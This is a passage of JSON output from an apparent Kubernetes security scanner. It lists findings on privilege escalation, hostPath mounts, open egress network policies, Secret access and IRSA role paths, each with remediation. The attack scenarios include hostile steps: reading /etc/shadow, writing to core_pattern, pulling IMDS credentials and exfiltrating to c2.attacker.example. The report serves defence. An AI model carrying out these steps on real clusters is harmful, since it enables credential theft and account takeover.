      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/vulnerable/privileged-reader`.",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/kube-system/generic-garbage-collector` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/kube-system/generic-garbage-collector`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`delete,get,list,patch,update,watch secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. bootstrap_token_mint [delete,get,list,patch,update,watch secrets in kube-system]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/kube-system/generic-garbage-collector`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/kube-system/generic-garbage-collector`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount kube-system/generic-garbage-collector",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete,get,list,patch,update,watch secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "system:controller:generic-garbage-collector",
        "source_role": "system:controller:generic-garbage-collector"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-HOSTPATH-001:Deployment:vulnerable:generic-hostpath-app:tmp-data",
    "rule_id": "KUBE-HOSTPATH-001",
    "severity": "HIGH",
    "score": 7.6,
    "category": "privilege_escalation",
    "title": "HostPath mount `/tmp/data` in `Deployment/vulnerable/generic-hostpath-app`",
    "description": "Workload `Deployment/vulnerable/generic-hostpath-app` mounts host path `/tmp/data` via volume `tmp-data`. Generic hostPath usage breaks the container abstraction: the pod is now coupled to a specific node's filesystem layout, bypasses CSI quota/encryption/snapshotting, and creates a path-dependent attack surface that varies with the path mounted.\n\nEven \"benign\" paths can be dangerous. `/proc` exposes the host's process tree (modify `/proc/sys/kernel/core_pattern` for root via crash). `/sys` lets a writable mount enable cgroup-release-agent escapes (CVE-2022-0492). `/dev` shared with the host gives raw block-device access. `/etc/kubernetes` contains kubelet config and PKI on control-plane nodes.\n\nEven a mount of `/etc` (read-only) leaks `/etc/shadow`, ssh `host_keys`, kubeadm config, and CNI tokens. Kubernetes Pod Security Standards forbid hostPath at Baseline because there is no safe whitelist.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`"
    },
    "impact": "Variable but always elevated risk: at minimum exposes node-specific files; commonly leaks credentials or enables privilege escalation depending on the path.",
    "attack_scenario": [
      "Identify the mounted path via `mount` or `cat /proc/mounts` from inside the pod.",
      "Enumerate sensitive contents. For `/etc`: `cat /etc/shadow`, `/etc/kubernetes/admin.conf`. For `/proc`: `echo '|/tmp/x' \u003e /proc/sys/kernel/core_pattern` then trigger a crash.",
      "If writable, drop a payload, modify a config, or symlink-swap.",
      "Confirm impact with `kdigger dig mount` or `deepce.sh -e`.",
      "Persist via the path's owning daemon (cron under `/etc`, systemd unit under `/lib/systemd`, etc.)."
    ],
    "evidence": {
      "path": "/tmp/data",
      "volume": "tmp-data"
    },
    "remediation": "Replace hostPath with a managed alternative (CSI volume, ConfigMap, Secret, projected volume, or local PV).",
    "remediation_steps": [
      "Determine why hostPath is used: config injection, log scraping, GPU device access. Each has a Kubernetes-native replacement.",
      "If hostPath is unavoidable, narrow `path:` to the smallest possible directory, set `type:` to the strictest matching value, and add `readOnly: true` on the volumeMount.",
      "Pair with `runAsNonRoot: true`, drop `ALL` capabilities, and `allowPrivilegeEscalation: false`.",
      "Enforce via PSA `baseline` (denies hostPath) or a Kyverno/Gatekeeper allowlist. Validate: `kubectl get deployment/generic-hostpath-app -o yaml | grep -A3 hostPath`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/storage/volumes/#hostpath",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.quarkslab.com/kubernetes-and-hostpath-a-love-hate-relationship.html",
      "https://github.com/kubernetes/kubernetes/issues/104980"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Volumes: hostPath",
        "url": "https://kubernetes.io/docs/concepts/storage/volumes/#hostpath"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Quarkslab — Kubernetes and HostPath",
        "url": "https://blog.quarkslab.com/kubernetes-and-hostpath-a-love-hate-relationship.html"
      },
      {
        "title": "CVE-2021-25741 (subPath/symlink escape)",
        "url": "https://github.com/kubernetes/kubernetes/issues/104980"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1083",
        "name": "File and Directory Discovery",
        "url": "https://attack.mitre.org/techniques/T1083/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.12",
        "title": "Minimize the admission of HostPath volumes",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostPath"
    ]
  },
  {
    "id": "KUBE-NETPOL-WEAKNESS-002:flat-network:allow-broad",
    "rule_id": "KUBE-NETPOL-WEAKNESS-002",
    "severity": "HIGH",
    "score": 7.6,
    "category": "lateral_movement",
    "title": "NetworkPolicy `flat-network/allow-broad` allows egress to `0.0.0.0/0` (entire internet)",
    "description": "NetworkPolicy `flat-network/allow-broad` contains an egress rule whose `ipBlock.cidr` is `0.0.0.0/0`. This is the broadest possible CIDR, semantically equivalent to \"allow this workload to make outbound connections to any destination.\" Because NetworkPolicy egress rules are additive, this single rule defeats whatever segmentation other policies tried to build for the selected pods.\n\nTwo properties make this rule especially dangerous: (1) `0.0.0.0/0` includes the link-local range that holds the cloud Instance Metadata Service (`169.254.169.254/32` on AWS/Azure, `metadata.google.internal` on GCP), so a compromised pod can scrape node IAM credentials and pivot to the underlying cloud account; (2) `0.0.0.0/0` also includes the Pod and Service CIDRs of the cluster itself, so the rule does not just open the internet. It also opens inter-namespace traffic for the selected pods unless an `except:` block carves out the cluster ranges.\n\nA correctly-scoped egress policy uses an `ipBlock` with the specific CIDRs the workload needs (a private VPC peer, a known SaaS provider's published range), or a `namespaceSelector + podSelector` pair to a named in-cluster dependency. `0.0.0.0/0` should never appear in a production egress allow rule.",
    "resource": {
      "kind": "NetworkPolicy",
      "name": "allow-broad",
      "namespace": "flat-network",
      "api_group": "networking.k8s.io"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "object",
      "detail": "NetworkPolicy `flat-network/allow-broad`: the workloads it selects can reach any IPv4/IPv6 destination"
    },
    "impact": "Selected workload can reach any IP, including cloud IMDS (credential theft) and arbitrary attacker C2 (data exfiltration). This turns any pod compromise into cloud-account compromise.",
    "attack_scenario": [
      "Attacker compromises a pod selected by `allow-broad.spec.podSelector`.",
      "They hit `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and pull the node's IAM credentials. The egress rule allows this because IMDS is inside `0.0.0.0/0`.",
      "They use stolen IAM credentials with `aws sts get-caller-identity` then enumerate the cloud account.",
      "They open an outbound TLS connection to `c2.attacker.example` on 443 (covered by the same broad rule) and exfiltrate harvested secrets.",
      "They abuse the same broad CIDR to reach other in-cluster Services unless `except:` carves out the cluster ranges."
    ],
    "evidence": {
      "cidr": "0.0.0.0/0",
      "policy": "allow-broad"
    },
    "remediation": "Replace `0.0.0.0/0` with the specific CIDRs the workload needs, or use `namespaceSelector/podSelector` for in-cluster destinations, and explicitly carve out the IMDS range.",
    "remediation_steps": [
      "Inventory what `allow-broad`'s selected pods actually need to reach (use `kubectl exec ... -- ss -tnp` or VPC flow logs).",
      "Replace the `0.0.0.0/0` rule with a specific allowlist: ipBlocks for required SaaS CIDRs, namespaceSelector/podSelector for in-cluster targets.",
      "At a CNI tier (Calico GlobalNetworkPolicy or Cilium ClusterwideNetworkPolicy), add a non-overridable deny for `169.254.169.254/32`.",
      "Validate with a netshoot pod: confirm legitimate destinations resolve and connect; confirm `curl --max-time 3 http://169.254.169.254/` and arbitrary internet hosts time out.",
      "Add a Kyverno or OPA Gatekeeper policy that rejects any new NetworkPolicy whose ipBlock CIDR is `0.0.0.0/0` or `::/0`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1567",
        "name": "Exfiltration Over Web Service",
        "url": "https://attack.mitre.org/techniques/T1567/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:internetEgress"
    ]
  },
  {
    "id": "KUBE-NETPOL-WEAKNESS-002:netpol-imds:allow-everywhere",
    "rule_id": "KUBE-NETPOL-WEAKNESS-002",
    "severity": "HIGH",
    "score": 7.6,
    "category": "lateral_movement",
    "title": "NetworkPolicy `netpol-imds/allow-everywhere` allows egress to `0.0.0.0/0` (entire internet)",
    "description": "NetworkPolicy `netpol-imds/allow-everywhere` contains an egress rule whose `ipBlock.cidr` is `0.0.0.0/0`. This is the broadest possible CIDR, semantically equivalent to \"allow this workload to make outbound connections to any destination.\" Because NetworkPolicy egress rules are additive, this single rule defeats whatever segmentation other policies tried to build for the selected pods.\n\nTwo properties make this rule especially dangerous: (1) `0.0.0.0/0` includes the link-local range that holds the cloud Instance Metadata Service (`169.254.169.254/32` on AWS/Azure, `metadata.google.internal` on GCP), so a compromised pod can scrape node IAM credentials and pivot to the underlying cloud account; (2) `0.0.0.0/0` also includes the Pod and Service CIDRs of the cluster itself, so the rule does not just open the internet. It also opens inter-namespace traffic for the selected pods unless an `except:` block carves out the cluster ranges.\n\nA correctly-scoped egress policy uses an `ipBlock` with the specific CIDRs the workload needs (a private VPC peer, a known SaaS provider's published range), or a `namespaceSelector + podSelector` pair to a named in-cluster dependency. `0.0.0.0/0` should never appear in a production egress allow rule.",
    "resource": {
      "kind": "NetworkPolicy",
      "name": "allow-everywhere",
      "namespace": "netpol-imds",
      "api_group": "networking.k8s.io"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "object",
      "detail": "NetworkPolicy `netpol-imds/allow-everywhere`: the workloads it selects can reach any IPv4/IPv6 destination"
    },
    "impact": "Selected workload can reach any IP, including cloud IMDS (credential theft) and arbitrary attacker C2 (data exfiltration). This turns any pod compromise into cloud-account compromise.",
    "attack_scenario": [
      "Attacker compromises a pod selected by `allow-everywhere.spec.podSelector`.",
      "They hit `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and pull the node's IAM credentials. The egress rule allows this because IMDS is inside `0.0.0.0/0`.",
      "They use stolen IAM credentials with `aws sts get-caller-identity` then enumerate the cloud account.",
      "They open an outbound TLS connection to `c2.attacker.example` on 443 (covered by the same broad rule) and exfiltrate harvested secrets.",
      "They abuse the same broad CIDR to reach other in-cluster Services unless `except:` carves out the cluster ranges."
    ],
    "evidence": {
      "cidr": "0.0.0.0/0",
      "policy": "allow-everywhere"
    },
    "remediation": "Replace `0.0.0.0/0` with the specific CIDRs the workload needs, or use `namespaceSelector/podSelector` for in-cluster destinations, and explicitly carve out the IMDS range.",
    "remediation_steps": [
      "Inventory what `allow-everywhere`'s selected pods actually need to reach (use `kubectl exec ... -- ss -tnp` or VPC flow logs).",
      "Replace the `0.0.0.0/0` rule with a specific allowlist: ipBlocks for required SaaS CIDRs, namespaceSelector/podSelector for in-cluster targets.",
      "At a CNI tier (Calico GlobalNetworkPolicy or Cilium ClusterwideNetworkPolicy), add a non-overridable deny for `169.254.169.254/32`.",
      "Validate with a netshoot pod: confirm legitimate destinations resolve and connect; confirm `curl --max-time 3 http://169.254.169.254/` and arbitrary internet hosts time out.",
      "Add a Kyverno or OPA Gatekeeper policy that rejects any new NetworkPolicy whose ipBlock CIDR is `0.0.0.0/0` or `::/0`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1567",
        "name": "Exfiltration Over Web Service",
        "url": "https://attack.mitre.org/techniques/T1567/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:internetEgress"
    ]
  },
  {
    "id": "KUBE-PRIVESC-006:ServiceAccount/hookbackend-fixtures/hookbackend-operator:hookbackend-fixtures:secrets",
    "rule_id": "KUBE-PRIVESC-006",
    "severity": "HIGH",
    "score": 7.6,
    "category": "data_exfiltration",
    "title": "Namespace `hookbackend-fixtures` only `get` access to Secrets on `ServiceAccount/hookbackend-fixtures/hookbackend-operator`",
    "description": "Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator can `get` core `secrets` via RoleBinding `hookbackend-fixtures/hookbackend-operator` → Role `hookbackend-fixtures/hookbackend-operator`. Namespace `hookbackend-fixtures` only.\n\n`get` returns the full Secret object, including the base64-encoded `data` payload, for any Secret whose name the caller knows. It is narrower than `list`/`watch` (KUBE-PRIVESC-005), which dump every Secret in scope without needing names, but in practice Secret names are highly guessable (`\u003capp\u003e-tls`, `\u003capp\u003e-db`, `default-token-*`, registry pull secrets) and are often discoverable from pod specs, so `get` alone routinely exposes ServiceAccount tokens, TLS keys, and database credentials.\n\nCluster-wide `get` reaches `kube-system` ServiceAccount token Secrets, which are commonly cluster-admin-equivalent.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `hookbackend-fixtures` only"
    },
    "impact": "Namespace `hookbackend-fixtures` only read of any named Secret (ServiceAccount tokens, TLS keys, registry credentials), enabling identity replay once the attacker knows or guesses a Secret name.",
    "attack_scenario": [
      "Attacker reaches ServiceAccount/hookbackend-fixtures/hookbackend-operator and confirms the verb with `kubectl auth can-i get secrets --as=hookbackend-operator -n hookbackend-fixtures`.",
      "They recover Secret names from pod specs they can read, from naming conventions, or from default token patterns.",
      "They `kubectl get secret \u003cname\u003e -o yaml` and base64-decode the `data` fields.",
      "They replay the highest-privileged token (e.g. a kube-system controller SA) against the API server.",
      "They pivot to cloud APIs using extracted IRSA / Workload Identity credentials, or persist via a backdoor binding."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "hookbackend-fixtures",
      "resource_names": null,
      "resources": [
        "secrets"
      ],
      "scope": "namespace",
      "source_binding": "hookbackend-operator",
      "source_binding_kind": "RoleBinding",
      "source_role": "hookbackend-operator",
      "source_role_kind": "Role",
      "verbs": [
        "get"
      ]
    },
    "remediation": "Scope `get` on `secrets` by `resourceNames` to the exact Secret(s) the workload needs, or remove it entirely if Secrets are consumed via volume/env injection.",
    "remediation_steps": [
      "Confirm the workload needs API-time Secret access. Most apps consume Secrets via volume/env injection at pod start and don't need RBAC read.",
      "If runtime access is required, scope the rule by `resourceNames` to the exact Secret name(s). Never grant `get` on all secrets.",
      "Move the binding from cluster-wide to namespace-scoped so the blast radius is bounded.",
      "Verify with `kubectl auth can-i get secrets --as=hookbackend-operator -n hookbackend-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets",
      "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Good practices for Kubernetes Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices: Secrets read",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#secrets"
      },
      {
        "title": "Kubernetes — Encryption at Rest (KMS provider)",
        "url": "https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/cloud-eks-imp/imp-irsa:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.6,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/cloud-eks-imp/imp-irsa` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (1 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imp-irsa",
      "namespace": "cloud-eks-imp"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/cloud-eks-imp/imp-irsa` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/cloud-eks-imp/imp-irsa`.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "irsa_assume_role",
      "hop_count": 1,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `arn:aws:iam::123456789012:role/ImpersonatorAdminRole` that enables the first hop (`ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `arn:aws:iam::123456789012:role/ImpersonatorAdminRole` that enables the first hop (`ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole`).",
